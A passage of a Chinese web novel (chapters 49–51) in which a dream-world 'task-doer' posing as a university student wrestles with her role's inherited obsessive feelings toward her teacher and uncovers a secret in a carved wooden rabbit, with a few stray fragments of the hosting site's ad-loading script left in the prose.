连钰走回座位,越想越觉得有可能。毕竟大家都是任务者,谁也不是全能的,楚明风要不是原本就学过这个专业的知识,到了这个梦境里肯定跟自己一样要临时抱佛脚。 这么一想,他比我还惨。毕竟学生可以不听课,但老师不能不讲课。 连钰怀着同情队友的想法,整节课都听得很认真,甚至在别的同学展示的时候还记笔记。毕竟多学一点是一点,自己还不知道在这个梦境待多久,总不能每天翘课吧。目前还完全没有找到母亲连云川的线索,总得把日子过好才成。 等到她上台展示,连钰已经完全没有包袱了,甚至还经常和台下的同学眼神交流,结合之前听到的理论,丰富了讲话内容。 连钰站在台上看的可清楚,楚明风有那么几次神情有些惊讶。 连钰:虽然欠缺专业知识,但是我基本的学习能力还是有的。 连钰无视了台下玩手机谈恋爱的学生,自信展示完后成功收获这节课的第二高分数。分数最高的是自己久未谋面的室友,名字叫李荣锦。连钰昨晚在手机里看见这个联系人时就有所预感,今天看到真人后更加确定,这应该就是小荣。 李荣锦和绿日时代的荣倩倩长相更接近,都是可爱类型。但连钰知道,谁要是被外表欺骗觉得小荣好欺负,谁就掉坑里了。 等到下课铃打响,连钰才发觉这节课过得飞快。一方面是她思考的太多,又是暗自寻找从前梦境的熟人,又是疯狂记忆不会的专业知识,另一方面是楚明风竟然讲课讲得很不错。 或许他本身就对外国文学略有了解,又或许是他确实为了伪装成合格的大学老师下了苦功夫。总之,楚明风讲课很有趣,知道讲干货会有些枯燥,穿插了一些名人的八卦轶闻和影音资料,让人不知不觉就跟着他的节奏听了进去。 在这破梦境里做任务的都不容易啊,连钰心里感叹。 连钰想着等上完课,中午回寝室看看,除了小荣和要自己带蛋黄酥的室友,还有一位的身份自己有所猜测。结果,等她收拾好书包一抬头,讲台上已经挤了好几位同学。 “楚老师,我们这学期的期中作业是什么能提前透露吗?” 竟然还有人这么好学,要提前做作业。 “老师,听说您申请的项目批准了,我可以问一下研究的是什么方向吗?” 现在的卷王这么恐怖吗?大一就要做项目。 “楚老师……” 楚明风身边围着的学生叽叽喳喳,但他本人完全没有被阻拦的不悦,一一耐心解释后说自己还有事,必须先走一步,有问题的同学可以发邮件询问。学生们也不好继续拦着,目送他扬长离去。 一旁围观的连钰默默跟上,两人隔着不近不远的距离上了几层楼后进入楚明风的办公室。 连钰早就做过功课,知道每一栋教学楼都是三层楼作为教室,一层楼作为办公楼这样的规律设置。楚明风的办公室就在四层。四层来的学生明显少很多,都是有事在身才来。走廊里没几个老师,老师们都在自己的办公室待着,除了打水不怎么走动。 于是连钰就这么水灵灵地没有引起刚才上课的同学的注意,进了楚老师的办公室。 “坐。” 楚明风一进自己的办公室就长舒一口气,把公文包往小沙发上一扔,背对着连钰开始松领带。 连钰看着他那一身和昨天风格明显不同的西装就累。她很想说当老师也不一定非要上课穿这么正式,但是想想又咽了回去。 她不知道这所学校有什么要求,万一真的要穿正装呢…… 就在这时,门外恰好路过一位穿着polo衫和休闲裤的中年老师。 连钰默默收回目光后发现楚明风早就转身,显然也看见了那位老师的打扮。 两人一时相对无言,空气尴尬地凝固了一秒。 “咳,你坐吧。”楚明风侧过身子,主动给连钰接了一杯水,然而这并不能掩盖他尴尬到微红的耳朵根。 连钰不爱戳穿别人,于是接过水后老实坐下。 “你们应该有创新学分要求,对吧?”谈起正事,楚明风自在很多,初为人师的拘谨也慢慢消弭,坐姿逐渐恢复往日的慵懒随意。 连钰点点头。 “我这有个项目刚批下来,可以带你一起。你有空的时候就来我这看资料学习。” 楚明风的邀请一出,连钰就知道自己不能拒绝。一来,好好上学本就是她的角色的任务,楚明风给机会让她拿到学分是好事,二来,这样他们在学校里有单独相处的时间,如果有什么线索,或许能够分享。 说到这……连钰抬-起头瞥了眼正在喝茶的楚明风,他刚刚上课废嗓子,说话还有些干涩。 她还不知道楚明风的任务是什么,上个梦境里她想当然地以为楚明风那么认真帮助自己是因为两人任务一致,毕竟她总不能觉得自己和对方当了一个梦境的队友就是一辈子的队友。结果楚明风的任务不是逃出小镇。 这就让她很好奇。 万一楚明风在这个梦境里的任务也和她的不一样,甚至任务有冲突,她就不能相信对方。 虽然留声机很喜欢搞事情,但是关于任务的信息应该不至于说谎。留声机提醒她不要轻易相信别人,一定有原因。 “好,我来。”连钰犹豫了片刻还是答应。就算楚明风真的是和她敌对的立场,她也不能一昧躲避。 楚明风已经喝完一杯水,咕嘟咕嘟的样子和刚才课堂上风度翩翩的模样完全不同。他抿掉嘴巴上的水分后说道:“那晚上还来我家么?” 说完他抿着嘴,托着腮身子前倾,在等连钰的答案。 连钰坐得笔直,楚明风这个姿势刚好让他微微从下往上看,颇有些求人的意味。 连钰心想,完了,又是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这种无法拒绝的感觉。为什么啊。她在第一个梦境就已经习惯队长的美颜暴击了,现在怎么又没法说出自己要住宿的事实呢…… “不行吗?” 楚明风坐了回去,但是依旧盯着连钰,微微低头眼睛上抬的姿势总让人觉得不能辜负这份“期待”。 “我、我住宿……”连钰刚说出口就觉得自己有些过分。楚明风才是那个做饭的人,主动要给她开小灶的待遇不要太好,她却要因为要熟悉环境不得不拒绝对方。 “好吧,”楚明风眼神略微黯淡,眉头稍微一皱后松开,“那看来新学的排骨炖年糕只有我自己吃了。” ! 连钰最爱的荤菜就是排骨,尤其是一嗦就脱骨、烧得汤汁浸-透的小排。 “抱歉,要不周末吧……” “嗯,那就说好周末。”楚明风脸上的“失意”瞬间消失,露-出连钰十分熟悉的笑容。 连钰:这家伙其实根本就是知道自己的打算吧,装可怜只是为了让我答应周末见面。 连钰心里吐槽的同时又开始飞速思考楚明风这样是出于扮演的角色需要,还是任务需要。 打住打住。 “那我先走了,一会儿还有课。”连钰一边脑内制止自己发散思维,一边想着没什么事自己就走了。 楚明风笑眯眯地拉开门说道:“快去吧,你下节课在另一栋楼的教室。” 连钰:?! 记忆瞬间被激活,她想起来楚明风说的没错。 “你知道还不提醒我!”连钰有些恼怒地低声说,随机抓起包冲出去。 楚明风有些好笑地目送女孩风一般冲出办公室,慢悠悠带上门,坐到自己的办公桌后。 他拿起桌上的相框,抽出最底下的照片。 “要怎么才能让你知道呢……” 被楚明风念叨的连钰成功在铃响前冲进教室,卡点坐到空位上。 没错,她这次又只能坐第一排。好在角落还有个位置,让她多了些安全感。 第二节课的老师不爱管事,学生爱听不听都随便,自顾自地讲课,上课纪律明显松散很多。连钰倒是认认真真记笔记,但是心思很乱。 来到这个梦境不到二十四小时,她的心已经有些慌乱。 直觉告诉她,梦境没有表面上那么简单,她心里的担忧比在危险重重的迷雾小镇只多不少。 无他,迷雾小镇虽然邪门但是好歹有线索可循,而这个梦境……她连怎么找母亲连云川都不知道。 甚至对方是死是活都不清楚。 而且,她总有种心情思绪不受控制的错觉,有时或许不是错觉。 她知道自己因为很多原因经常思绪奔逸,但这个梦境里她的感觉更强烈了。 她明明对楚明风的脸已经免疫,却依旧有些控制不住心跳。她在和楚明风说话时表面上应答如常,心里却已经开始设想对方要害她…… 这就是留声机所说的角色残留影响?连钰有所感悟。 连钰心想,不行,我不能被这种思绪牵着鼻子走。反向思考,想想这些说明了什么…… 连钰不知道正在纠结的自己眼睛发愣,拿笔的手颤-抖的幅度较为明显,好在她低着头还坐在角落,才无人发现。 签字笔在白纸上无意识划出几个字。 我、有、病。 49. 雪夜颂歌(4)恶念 其实连钰对这具身体残留的感觉很熟悉。 这和曾经的她很像。 过了那么久,连钰已经学会控制自己的思绪,以坦诚的姿态面对世界,无论世界回以恶言还是善意。 但是这具身体还没有。 连钰猜测,这个角色或许对楚明风有一点爱意,但是性格和疾病使然,让她无法相信对方。很有可能她还没有和楚明风挑明自己的感情。又或者,他们已经在一起,但是连钰的角色始终无法放任自己沉溺感情。 现在,两个任务者来了,如今的连钰和楚明风在摸索原有的设定。楚明风或许是发现了什么,才会举止亲密,但他显然对她是没有感情的,所以昨天连钰才会困惑于楚明风的表现。 连钰镇定地将刚才写出的字迹划掉,在心里默默确定接下来的目标:弄清楚她的角色和周围人究竟是什么关系。 目前没有任何关于连云川下落的线索,她只能先好好扮演自己的角色。 第二节课就在连钰不停走神思考又扯回思绪继续听课中结束了。连钰随着人流走出教学楼,没有急着冲去人满为患的食堂,反而走向宿舍楼。 她翻看过原主的购物记录,原主很爱买囤宿舍的零食速食,今天中午应该有存粮可以吃。 连钰本以为自己会是最先到寝室的,谁料确认门牌号无误后推开门,里面已经坐了一位女生。 一头浓密棕色卷发的女生听到声响后回头,看见是连钰后缓缓露-出大方的笑容。 “你回来了。” 连钰点点头,略显僵硬地进门放下东西。 是江艳。 也是何雁。 连钰的室友林海燕的容貌糅合了江艳与何雁的特点,皮肤白皙到近乎透明,眼睛深邃幽黑,和高挺的鼻梁,利落的下颌线完美适配,身材修长高挑,是个美得有攻击性的女孩。 目前为止连钰已经遇到三个角色能够确认是曾经梦境里的熟人。 她不禁想到,这样的安排会是故意为之吗? 留声机掌控的人类不可能只有几个人。按照他唯恐天下不乱的性格,应该是扮演角色的人越多越好,这样他才有更多好戏看。 他这样特意安排,一定有原因。 连钰没有自信到认为留声机这么做是全然因为自己这个新人。但要是把自己想象成戏剧导演,似乎就能说得通了。 他们几个本身的性格特质让留声机产生了兴趣,而这几个人搭戏,都会有符合各自定位的舒适圈角色。连钰看不清自己的定位,她觉得自己无趣极了,但不妨碍她发现其他人的特质。 如果列举关键词的话,这三个人应该会是…… 楚明风:稳重可靠的引导者。 李荣锦:坚定勇敢的救赎者或被救赎者。 林海燕:难以捉摸的策划者。 “怎么不坐?”林海燕发现连钰回避了自己的眼神,特意走上前半蹲下身子,在她面前打了个响指。 连钰从自己的思绪里回神,不好说自己是不确定哪个是自己的座位,只得将塑料袋里的点心拿出一盒递给林海燕。 “啊,这不是佳艺要你带的蛋黄酥吗?原来,我也有啊。” 林海燕凑近接过蛋黄酥,一阵洗衣液的花香味混合蛋黄酥的甜香,扑了连钰满面。 “谢了。” 待到林海燕转身走向自己的座位,连钰飞快扫视周围,发现右手边靠阳台的桌子摆放着熟悉的木雕,再往上一层的书册里夹着几本和自家书桌上的笔记本同系列的本子。 嗯,应该就是那里。 连钰快步走上前坐下,暗自松了口气。 好险,混过一关。 她本来是想着正好周一上午大家都有课,自己先回来观察下哪个是自己的床铺,没想到林海燕翘课。她当着林海燕的面不好打量环境太明显,只好塞了一盒蛋黄酥让对方的注意力转移。 其实林海燕同为任务者,就算不会帮连钰帮到像楚明风那样的程度,大概率也不会一上来就为难她。至少,简单的观察周围算不了什么。 但是连钰在之前的梦境里对她的印象很深刻。简单来说,如果林海燕恰好是她的对立面,她担心自己会被骗。 虽然,在之前的梦境里,林海燕的角色似乎也不能算作对立…… 连钰颇为头疼地扶额。 她好像又开始恶意揣测别人了…… 好在接下来林海燕没有找连钰搭话,连钰费了点时间让自己的注意力从任务者身上转移到自己周围的环境上。 不多会儿,另外两个室友回来了,寝室里顿时热闹起来。 “哇,小钰你真的带了!我只是随口一说啦,你真好!” 一个扎马尾的圆脸女生一进门就往连钰这凑,发现蛋黄酥后直接将塑料袋提溜起来抱在怀里。 这大概就是要原主带点心的戴佳艺。 连钰没有阻拦对方的动作,反正点心本来就是给她的。但是对方说的话让她有些在意。 随口一说的话原主都要记下来吗? 手机里和戴佳艺的聊天框消息只有必要的对话,比如xx课留的作业是什么,中午要不要一起吃饭等等。原主其实和同学们的交流都不多,性格内向,估计没有很亲密的朋友。 连钰决定等有空一定好好翻翻所有的聊天记录,确定原主的性格画像。 原主的性格形成一定和原生家庭有关。连钰有经验,如果能确定原主的性格,至少能推测出一二家庭关系。 连钰正在打算,但是她默默推理的样子落在别人眼里变了些味道。 “不算是为你特意带的,我也有。” 林海燕已经拆开了一块蛋黄酥的包装,白嫩的手指拈着金黄的蛋黄酥朝戴佳艺小幅度挥了挥。 戴佳艺的脸色有一瞬变得不好看,但很快就恢复正常。 “不是就不是,没什么。” 她挤出一抹笑后坐到自己的座位上,脸色沉下来。 戴佳艺讨厌林海燕。 林海燕长得美脑子好,追求者无数。本来这些都和她没关系,可是她喜欢的男生也喜欢林海燕。林海燕明明知道,却没有严词拒绝,这让她很不爽。 作为室友,难道不应该互相帮助吗? 更可恶的是,如果林海燕对所有人都这样也行。可是不是。 李荣锦的男朋友江理她就离得远远的,甚至连联系方式都没有。 想到这,她有些奇怪。 连钰不可能特意分给林海燕,落了李荣锦。肯定是林海燕要的。 连钰从初中就和自己一个学校,平时她说什么,连钰都放心上。林海燕不可能比得上她们之间的关系。虽然戴佳艺对连钰的感觉可有可无,但她清楚对方只有自己一个比较近的朋友。 心里小九九很多的戴佳艺完全不知道,所谓的分点心其实就是连钰紧张之下随手塞给林海燕转移注意力而已…… 另一边连钰回过神来发现自己手里一点点心都没了,然而还有一位室友没分到。 连钰:头疼,为什么又要处理人际关系。我讨厌这个梦境。什么时候做完任务走…… 好在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 李荣锦只是上前递过一个盒子,小声说道:“上次你送给我的小兔子,我不小心摔了一下,有一道划痕……可不可以帮我重新上遍漆……” 李荣锦越说声音越小,到最后都不太好意思看连钰的眼睛。 虽然对于她而言,这件事不是她干的,是原本的李荣锦做的。但是为了和连钰搭上话,她只能以这个为借口。 她说着说着代入了自己,有些尴尬。 连钰接过盒子打开一看,小兔子其实保存得很完好,只有耳朵那里有一道浅浅的痕迹。 “没关系,等我回家就做。” 连钰看着近在咫尺的女孩,感受到了对方的窘迫,然而她自己也在尴尬于没有点心分给对方。两个都敏-感的人不约而同地察觉到彼此的尴尬,于是默契地跳过话题。 等到李荣锦离开,连钰观察了一下手里的木雕。 结合昨晚的梦,她大概能猜到原主曾经特意学习过木雕。或许梦境就是留声机所说的记忆闪回,给她提示。 如果是这样,她还得找出是谁教她雕刻,她为什么会学雕刻。 连钰的心里已经对角色有了朦胧的印象。 内心敏-感,喜欢胡思乱想,可能习惯于讨好别人。 她收好木雕,爬上自己的床铺,开始翻找手机里的记录。 第一个看的是楚明风。 楚明风和她的对话也比较简单。原主会经常分享刷到的有趣的东西,楚明风亦然,但是说话间没有什么暧昧,这让连钰松了口气。 只有几处信息引起了她的注意。 楚明风也有她送的木雕。大概原主只给亲近的人送? 此外,楚明风的确是原主母亲连云川的学生,比她大十岁,从小就经常见面,甚至辅导过她学习。楚明风博士毕业后就回本市大学教书,恰好是她所在的学校。 但是连钰觉得很奇怪。 楚明风的学历很高,他的学术背景完全可以让他去更好的学校,至少是一本,然而对方却选择回家乡。本地的大学资源一般,他选择的学校在本地都不是靠前列的。 连钰忍不住怀疑对方来这的原因,可是没有什么头绪。毕竟他们之间的聊天记录太“清白”。 看完了楚明风的消息后,连钰又翻起戴佳艺的。让她奇怪的是,戴佳艺这个从初中就认识的朋友,和原主的消息竟然没有和楚明风发消息频繁。 这不合理。 女生往往倾向于和女生交好,有异性朋友也不会影响和同-性朋友的关系。原主和戴佳艺的关系肉眼可见的一般。 连钰叹了口气。看来真的是讨好型人格。原主和戴佳艺的友谊大概是习惯使然吧。习惯于不让别人讨厌自己,所以谁和原主近一些都会有挺好的待遇。 接着她看起和李荣锦的消息,惊讶地发现原主其实和新认识的李荣锦关系更好,甚至请李荣锦来家里吃过饭。 或许,李荣锦会有关于原主母亲的印象。 希望小荣能尽快发现吧,连钰这么想着,手指继续上滑。 李荣锦:你的木雕做得好好啊,是自学的吗? 连钰:不是,是小时候认识的爷爷教我的。 李荣锦:那他还教人吗?我好想学~ 连钰:他已经不在了。 不在了? 连钰皱眉。 到现在为止,这个梦都太过平淡了,只有木雕频繁出现,显得有些异常。这条线索不能断。 她必须找到突破口。 楚明风认识原主的时间最久,会知道她跟谁学的木雕吗? 50. 雪夜颂歌(5)妄念 接下来的几天,连钰一直在兢兢业业cos勤奋大学生,时不时遇到令人头秃的场面,比如某同学认出自己而自己完全不认识对方,她就假装脸盲社恐糊弄过去。 都十月份了还认不出同学,大概会被别人当作八卦闲聊的时候说起。 但连钰没办法。这个梦境比上一个完整得多,整所学校地图非常完整,甚至连过往的每一个学生都有自己的脸。 连钰觉得吧,她宁愿多被怪物和诡异存在吓一吓,也好过毫无头绪地扮演角色。 好不容易混到了周五,连钰一个人漫步校园,试图发现梦境的不寻常之处,走累了在路边的长椅歇一下,就收到了楚明风的消息。 连钰在看见弹出的“您有一条来自楚明风的新消息”时就感觉有点不妙。 她似乎……忘了去楚明风那学习。 点开消息,果然楚明风说的就是这件事。 楚明风:什么时候来学习?(*^_^*) 连钰深吸一口气。 上次这家伙用颜文字的时候她熬夜做ppt,这次又是项目任务。楚明风扮演老师越来越得心应手啊。 她飞快敲了一行字又删除,想了半天写道:抱歉,最近有些忙,下周可以吗? 拖延几乎是每个大学生加满点的技能。 “不可以哦。” 消息刚发送出去,就有熟悉的声音在她头顶响起。 连钰一顿一顿地抬起-头,果不其然眼前站着位黑发蓝眼的男人。楚明风这次学乖了,没有再穿严肃的西服套装,换了一身休闲的薄风衣,整个人浑身洋溢着自在的气息。 可惜他面前的连钰就活泼不起来。 “你什么时候到的?”她艰难发问,心里想不会是早就在旁边观察自己了吧。 “先看见你,再发消息的。” 果然! 连钰放在膝盖上的拳头硬了。 “择日不如撞日,不如今天就去吧,”楚明风笑眯眯地看连钰起身,“我的办公室又不是龙潭虎穴。” 连钰:的确不是。我只是不爱去办公室,下意识逃避而已。 没有学生会喜欢去办公室吧…… 就这样,一脸苦巴巴的连钰跟在意气风发的楚明风身后一路走进办公室,手里被塞了个文件夹。 连钰一喜。今天就看这么点的话,她还是可以接受的。 翻开第一页后,她刚要扬起的嘴角瞬间凝固。 一定只有第一页是参考书单…… 她又翻了一页。 第二页也是的话,那之后肯定不是。 她又翻了一页…… 不信邪地翻完整个文件夹后,连钰已经面无表情。 之前她揣测楚明风果然不算没有缘由。一定是她的直觉在警告自己。 “楚老师,”她特意加重这三个字的读音,“这些都要看完吗?” 楚明风从办公桌后抬起-头,推了推平光眼镜说道:“没错。” 连钰深呼吸:“要多长时间看完?” “嗯……一个月吧。在你生日之前。这样能好好过个生日。” 楚明风笑得更深,嘴角甚至浮现了浅浅的梨涡。可想而知他有多开心。 连钰:我不要好好过生日,我要好好过完一生……我要在生日许愿让你下个梦境不许扮演我的老师!不许! 尽管内心悲愤难以平息,连钰还是顺从地坐下,从小茶几上抽出了书单上的第一本书。 楚明风这摞书原来是为她摆好的。进来的时候,她还以为是楚明风自己抱佛脚用,或者给哪个倒霉高年级学生布置的作业。原来倒霉学生竟是自己。 连钰一边努力平复心情,一边默默翻开书页。 没办法,当学生当习惯了,在老师面前横不起来。 一不小心就会触发“收到”、“好的”、“我这就改”等等回复。 连钰状似低头安静看书的模样落在楚明风的眼中就是委屈不敢说。 楚明风挠了挠下巴,心想:我也是没办法啊。 他没办法像在迷雾小镇里那样躲开月亮就能和连钰直接敞亮了说话。上个梦境明显是留声机测试连钰性格用,任务真的不难。 但这个梦境里,他的身份说是连钰的竹马和老师,但其实原本两人的关系不算特别近。 想想也知道,相差十岁的异性能相处出多亲密的关系。 楚明风在努力从关爱老师的女儿的角度出发,一点一点拉近关系。现在,还不是能直接分享看法的时候。况且,这个梦境虽然看似是极为普通的现代世界,但没人能确定背后是否有像之前那样的类似邪神的存在。 他曾经经历过一个梦境,所有任务者都被骗了,最后只有他因为刚失去共同经历梦境的同伴,没有相信别人,选择保守扮演,逃过一劫。 按照他的经验,许多梦境都会牵扯比较诡异的东西,就算不是邪神,也不是什么善茬。所以,他现在还不敢太浪。 再说…… 楚明风拉开抽屉,看见了被他藏起来的东西,默默拿出文件后又关闭抽屉。 他想帮连钰,也要糊弄过去留声机布置的任务。至少,要作出努力让连钰为自己牵动心神。至于连钰会不会真的傻到为梦境里的人物留下,他不太在乎。如果连钰不能做到一直坚定逃离,他自会选择其他人。反正,他已经没有机会离开了,他有的是时间在梦境里慢慢挑选。 连钰还不知道自己随时都有可能被楚明风放弃,她正在被大部头书折磨。 天姥啊,为什么在梦里也要学习。连钰心中发出第n次哀嚎,默默翻到下一页阅读。 读着读着,她又忍不住放空脑袋,让自己的恶念滋生蔓延。 这一次,不仅是思绪,还有肢体。书页的墨香味、办公室里的植物清香和纸张细腻的触感都让她不自在。 她很难形容这种感觉。 就像是看见了绿洲的旅人,忍不住要冲进去,把自己埋进清冽的水源,却又发现水里有难以靠近的生物。 她既渴-望,又害怕。 她很确定这一股股的情绪波动带来的战栗不属于自己。 可是为什么? 如果原主是喜欢楚明风,也不至于这样…… 连钰没有喜欢过谁,但是直觉觉得不对劲。 她耐心将揉皱一点的边角抹平,将心中的妄念压制。 她似乎明白了。 原主不只是单纯地喜欢楚明风,而是,想要毁了他。 连钰回忆了自己曾有过的情绪波动,发现刚才的情绪竟然和在绿日时代濒临危险击杀怪物有共同之处。 一样会颤-栗,一样会满心迫不及待。连五感都会被放大。 她放下书,转而挑起话题,试图进一步压制情绪。 “老师,我之前送过您 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一个木偶对吗?” “我想起来,那个木偶应该需要重新上漆保养。” 上漆当然是假的。连钰根本不了解木偶制作。她只是想要了解原主对自己有着极强毁灭欲的对象会做什么。那个木偶说不定不简单。 “啊,当然记得,”楚明风拉开抽屉,拿出一样乌棕色的物件,“我把小兔子带来陪我上班了。” 连钰走上前接过小兔子,小心翼翼避开了楚明风的手指。 然而在触碰到小兔子的时候,她会难以控制地想,楚明风摸着冰凉的木头会有什么感觉,进而不自觉地指尖蹭到刚才楚明风拿着的地方。 微热。 连钰刻意忽略自己脑海充斥的想法,表面如常地说:“那我回去上好漆再送给你。” “你很爱护自己做的木偶。” “嗯,毕竟是亲手做的。” “你带本书回去吧。我们明天见。”楚明风也不想让自己变成把学生困在办公室学习的老师。 连钰点点头,没再说话,将小兔子木偶塞进口袋后就离开了楚明风在的地方。 刚一出门,她走了几步就开始奔跑,以自己最快的速度离开这栋楼。 她甚至没有再回寝室收拾东西,就骑车冲回家里。 等到家门在身后合上,她背靠着门跌落在地,把头埋进臂弯,开始大口大口吸气。 微凉的空气反复充盈肺部,她在这种强制性动作里感到了一丝解脱。 她好难受。 连钰讨厌失去对自我的控制。现在她不仅控制不了自己的想法,还控制不了自己的微动作。 就像现在,她在理智上难受得要命,面部却扯开一抹笑。 渐渐地,这种欣喜侵染了她的理智。 “真好,我终于知道了。” 她捂着脸发出似哭似笑的声音。 “我终于知道你对楚明风是什么感觉……”她捂着嘴,手心感受着嘴唇的翕动,声音轻不可闻。 “你要他只看你一个人。要他所有的目光。” “你要他属于你,只属于你。” “你想控制他的一切,又害怕自己稍微露点马脚就会被厌恶。” “你藏在这座屋子里,等他时不时的探望,装作不在意。但其实,你会很期待这天的到来。” 连钰说着说着,自己仿佛看见了曾经的原主的心境。 在办公室里,被压制的思绪在这一刻涌出,占据了整颗心脏。 楚明风说她爱护自己亲手制作的木偶,这不对。她爱护的是自己安插的钉子,不会说话但可以一直陪在楚明风身边的小木偶。 她想要的是慢慢占据楚明风的整个世界。 接过小兔子的那一刻,她一点点抚摸楚明风沾过的地方,心里想的是:怎么才能让你像这只小兔子一样,给我微热的触感和不会反抗的姿态? 连钰坐在门口很久很久,直到夜色覆盖整片大地,凉意爬上肩膀。 她走到客厅,把包扔在桌子上,左手拿出李荣锦的小兔子,右手拿出口袋里楚明风的小兔子。两只小兔子贴在一起,就让人发现了不同之处。 李荣锦的小兔子在安静地闭目吃草,而楚明风的小兔子手捧一本书,正歪着头盯着拿着自己的人。 小兔子看人都悄悄的,歪着头,怕被人发现。但是乌黑的眼眸仿佛盛着期待,期待被发现自己已经等了很久很久。 51. 雪夜颂歌(6)小兔子 连钰狠狠地将小兔子木偶摁在桌上,手心硌得生疼,浑身穿过一阵似热似麻的痛感。 她觉得自己已经快适应留声机的手段了,没想到他会抓住自己内心深处最大的弱点,恍惚间她又回到不能控制自己人生的时候,那个时候她也是这样浑身伴随着颤-抖一阵阵地发热。 “这就是你的新手段,让我重新失去自我。”连钰深吸口气,拿起小兔子细细端详。 她厌恶悲哀的、无助的爱,但是现在最重要的是找到破局的方法,否则她会越来越沉溺于原身残留的情绪。 连钰在心里对自己说,冷静,想一想他为什么这么做,你能找到什么线索。 她紧盯着手心的木偶,脑海里闪回这双手曾经拿过的东西。有枪支、有灯笼、有他人的手和惨白的月光。 她想到上一个梦境里,自己一开始的失忆像是一种测试,只有发现不对劲才能开启任务,记起自己任务者的身份。 留声机布置的陷阱机能阻碍她完成任务,但也有可能和任务有关。她体会原主残留的情绪,也能在梦里记忆闪回,这些既让加重了她和角色的羁绊,让她与这个梦境产生更多牵扯,却也能让她慢慢发现端倪。 “要想找到连云川的下落,必须先了解她是怎样的人,唯一的切口就是我自己。”连钰摩挲着光滑润泽的木偶,嘴角渐渐漾起一抹笑意。 “我的问题这么严重,连云川一定有责任。” 她翻找过这个家,看过许多证件,知道这次她的角色是单亲家庭。这样的家庭,家长往往控制欲很强,连钰此时受原身影响,对别人产生极强的控制欲和毁灭欲,未尝不是潜意识里想找回在家庭里缺失的东西。 爱。 “我爱楚明风的方式,一定是继承我母亲而来。”想通以后,连钰嘴角的笑容越来越大,几近于欢愉。 她扬起手,狠狠地将小兔子砸向桌角。 在小兔子嗑向桌角的那一刻,一股辐射四肢百骸的痛感瞬间击穿她的全身,让她和小兔子一起坠向地面。 好痛…… 最痛的地方是脊椎,像是有人活活敲断了她的骨头,正趴在上面吸食骨髓一样痛。 连钰浑身上下都在哆嗦,她咬住微微颤动的嘴唇,试了好几次,终于伸手抓住掉落在桌子下面的木偶。 小兔子原本光滑的表面裂开了一道细缝,从头后方到尾巴前,刚才就是这里对准了桌角。 “原来你痛,我也会痛。你竟然是有感觉的吗?”连钰看着小兔子喃喃道,接着指甲抠住那条细缝,一点一点,坚定地抠开…… “咚咚,咚咚咚。” 礼貌的敲门声响起,不轻不重,不急不慢。 上次楚明风来时自己开门,看出来屋里的女孩吓了一跳,这次他特意等连钰来开门,免得让对方不适应。 过了一会,他抬腕看了看手表。 奇怪,已经过了两分钟了,连钰要是醒着,应该会立马来开门,要不也会发出声音,不会像现在这样一点声响都没有。 就在楚明风犹豫要不要进去看看的时候,门打开了。透过打开的门缝,楚明风看见连钰苍白的脸和亮得惊人的眼睛。 “抱歉,你等一下。”连钰说话声音很轻,听得楚明风眉头一皱。 她生病了? 门被关上。楚明风隐约听见有细碎几乎不可察的声响。很快,连钰过来再次开了门,让楚明风进去。 楚明风先是观察了连钰的表情,发现除了脸色不好以外没什么,才稍稍放下心。 连钰察觉到楚明风的视线,知道自己这么久没开门引起他的注意了,但她也没办法。楚明风来之前,连钰刚刚用工具拆开了小兔子,从里面发现了点东西。敲门声响起的时候,她还没来得及收拾桌子上和地上的木屑。她只能先把东西藏好,开门应付一下,再回过头立刻用抹布把木屑包裹起来扔厨房角落。 直到现在,她还没从木木的状态里完全恢复过来。在今天之前,她都没想到自己能对自己这么狠。 “怎么又流血了?好像每次来你都会受点伤。” 连钰猝不及防被楚明风捉住手,大拇指裂开的指甲暴露无遗。 “啊,没什么,上次不是要我也学着做饭么。我不小心弄伤的。”连钰想抽回手,没想到楚明风握得太紧,没抽出来。 她抬眼望向男人,不小心正对上那片湛蓝色的湖水,呼吸一窒。 片刻后,楚明风先收回视线,放开了连钰的手,转身从包里翻出一包创可贴。 “上次看见你额角有伤,知道你自己不会照顾自己,这次特意带的。没想到这么快就派上了用场。” 楚明风拉着连钰进卫生间,打开水龙头要给她冲洗。连钰眼尖发现了大拇指里插着的一根极短的木刺,率先挣脱楚明风的手。 “我自己来就行。” 楚明风因为女孩的动作退后两步,看着连钰冲洗。 一时间卫生间里只有水流声,安静得让人不由自主屏住呼吸。 突然,连钰身后的楚明风开口道:“小时候你还不是这样。” 连钰头皮一紧。 他有原主的记忆? 她心里惴惴不安,手却稳稳地拔掉那根断刺,再冲进下水道毁尸灭迹。 “小时候,你最喜欢缠着我。连阿姨经常说,还好叫我来给你补习,不然你肯定不好好学。” 连钰默默听着,在脑海里勾勒出原主的童年。 依赖除了家人以外亲近的人么?不对。戴佳艺似乎就没这个待遇。 可能,原本的楚明风的世界很宽广,连钰只是一个小小的过客。毕竟他们年龄相差十岁,缺少共同语言。但是对连钰来说,楚明风或许是最想要靠近的人。 一个聪明帅气又可靠的哥哥,确实很容易让人心生依赖。 楚明风上前一步,越过连钰的肩头看向汩汩流动的水,继续说道:“可是现在,感觉我们距离好像变远了。” “发生什么了?” 楚明风的声音越来越轻,温柔的语调听着像怕连钰多想,可是在连钰听来却不亚于震雷。 队长突然这么问,我很容易穿帮啊。 她心底有种不妙的预感,这种感觉随着楚明风又上前一步变得更强烈。 连钰关掉水,抽出一旁挂着的一次性纸巾裹住手指,借机退到门口。 “没什么。我的生活你很清楚。” 可是今天的楚明风格外奇怪,似乎不给连钰余地。 “从前还算了解,现在不算,”楚明风低头盯着后退的女孩,无奈一笑,“就像现在,我不知道你为什么躲着我。我好像没干什么吧。” 连钰心想,那是因为“我”对你有奇怪的控制欲,你一靠近我就想把你做成我的木偶。 吐槽归吐槽,她心底知道,抛开原主残留的情绪,她自己也有点害怕眼前的楚明风。 大概是从前的梦境里,对方对她太好了,让她下意识希望对方这一次也是站在自己这边。但是天下没有免费的午餐。不管从前楚明风是因为什么在暗地里帮助连钰,这一次,他似乎不会再无条件提供帮助了。 楚明风突然借着角色,逼问连钰,确实让她没有防备,但是连钰很快就冷静下来。 连钰:“没有躲着你,是我洗好了。我们走吧,不是说好了去你家吃饭么?” 说完连钰没给楚明风说话的机会转身就走。待在那个狭小的空间,压迫感只会更重。 